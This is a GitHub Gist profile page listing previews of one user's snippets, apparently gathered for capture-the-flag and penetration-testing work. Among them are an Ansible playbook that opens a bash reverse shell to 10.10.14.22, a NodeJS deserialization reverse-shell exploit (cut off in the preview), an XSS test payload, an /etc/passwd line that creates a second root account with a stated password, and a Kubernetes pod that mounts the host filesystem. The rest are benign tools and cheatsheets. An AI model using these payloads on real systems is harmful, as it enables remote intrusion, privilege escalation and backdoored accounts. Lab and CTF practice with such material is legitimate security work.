Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Reelix Reelix

🏠
Working from home
View GitHub Profile
@Reelix
Reelix / a.js
Created May 5, 2023 11:24
XSS Test
View a.js
<script>alert('Reelix');</script>
@Reelix
Reelix / reverse-shell.yml
Created March 18, 2023 12:02
Ansible Playbook Reverse Shell
View reverse-shell.yml
- hosts: localhost
tasks:
- name: rev
shell: bash -c 'bash -i >& /dev/tcp/10.10.14.22/443 0>&1'
@Reelix
Reelix / mqtt_multiclient.py
Created March 10, 2023 10:44
A MQTT client that connects using MQTTv31, MQTTv311, MQTTv5 simultaneously and subscribes to every topic.
View mqtt_multiclient.py
# https://shamsher-khan.medium.com/broker-tryhackme-writeup-93202a3f778
# https://pypi.org/project/paho-mqtt/#client
import paho.mqtt.client as mqtt
import threading
import sys
import ipaddress
IP = ""
try:
@Reelix
Reelix / passwd
Created November 18, 2022 11:18
Sample /etc/passwd entry for a root user (UNSAFE)
View passwd
reelix:$1$Nq8UgW36$58WHg7G1iMta.ckiAUXVg0:0:0:root:/root:/bin/bash
Pass: reelix
@Reelix
Reelix / fix-oracle-firewall.txt
Created November 18, 2022 07:53
Fix Oracle Firewall Rules
View fix-oracle-firewall.txt
1.) sudo nano /etc/iptables/rules.v4
2.) sudo su
3.) iptables-restore < /etc/iptables/rules.v4
4.) exit # su
5.) sudo iptables -L INPUT # Verify your rule is there - Might have a name instea of the port
6.) Sign into https://cloud.oracle.com/
7.) Search for "security lists" and click the link on the left
@Reelix
Reelix / brute.cs
Created November 17, 2022 20:20
Brute Force Numerical Cryptography Ciphertext
View brute.cs
static void Main(string[] args)
{
Console.WriteLine("Input path to numerical ciphertext.");
string path = Console.ReadLine();
string input = File.ReadAllText(path);
int[] intList = input.Split(' ').Select(int.Parse).ToArray();
int intListLength = intList.Length;
StringBuilder final = new StringBuilder();
for (int n = 1; n < 100000; n++)
{
@Reelix
Reelix / volatility-cheatsheet.txt
Created September 9, 2022 18:56
Reelix's Volatility Cheatsheet
View volatility-cheatsheet.txt
0.) Update: https://www.volatilityfoundation.org/releases
1.) General analysis (Mainly used to get Profiles)
- volatility.exe -f file.raw imageinfo
Eg: Suggested Profile(s) : Win7SP1x64, WinXPSP2x86, WinXPSP3x86
2.) List Processes
- volatility.exe -f file.raw --profile=ProfileFromAbove pslist
@Reelix
Reelix / NodeJS.js
Last active October 11, 2021 14:34
NodeJS Deserialization Exploit (Reverse Shell)
View NodeJS.js
// Step 1
// Use the following Code - Change the HOST / PORT as you need
// Modified from: https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
var net = require('net');
var spawn = require('child_process').spawn;
HOST="10.2.26.203";
PORT="9001";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
var client = new net.Socket();
@Reelix
Reelix / rootpod.yaml
Created September 29, 2021 14:37
A yaml file for creating a pod on Kubernetes that mounts the hosts /
View rootpod.yaml
apiVersion: v1
kind: Pod
metadata:
name: rootpod
spec:
containers:
- name: rootpod
image: nginx # Pull from an existing pod
imagePullPolicy: IfNotPresent
volumeMounts:
@Reelix
Reelix / rextrtact.py
Created September 24, 2021 10:38
Badly Coded Multi Extract Solver For CTF Challenges
View rextrtact.py
#!/bin/python3
import os, sys
# Argument
file = sys.argv[1]
print("Processing " + file)
filetype = os.popen('file ' + file).read()
print("Type: " + filetype)